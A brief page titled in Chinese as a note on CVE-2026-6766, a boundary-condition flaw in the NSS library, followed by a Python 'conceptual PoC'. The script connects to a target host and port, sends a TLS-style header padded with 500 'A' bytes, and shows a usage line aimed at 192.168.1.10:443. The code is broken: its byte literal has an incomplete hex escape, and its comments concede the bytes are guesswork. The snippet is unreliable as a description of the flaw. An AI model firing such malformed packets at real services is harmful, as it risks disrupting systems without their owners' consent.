CVE-2026-6766 NSS库边界条件错误漏洞

import socket # Conceptual PoC for CVE-2026-6766 # This script demonstrates a potential trigger mechanism # by sending malformed data to a service using NSS. def send_malformed_packet(host, port): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) # Construct a payload that might trigger incorrect boundary checks # Specific bytes depend on the internal NSS parsing logic. # Here we use a buffer with a specific length pattern. payload = b"\x16\x03\x01\x00\x" + b"A" * 500 # Send payload s.send(payload) print(f"[+] Payload sent to {host}:{port}") # Receive response (if any) response = s.recv(1024) print(f"[+] Received: {response}") s.close() except Exception as e: print(f"[-] Error: {e}") # Usage example (replace with actual target details) # send_malformed_packet("192.168.1.10", 443)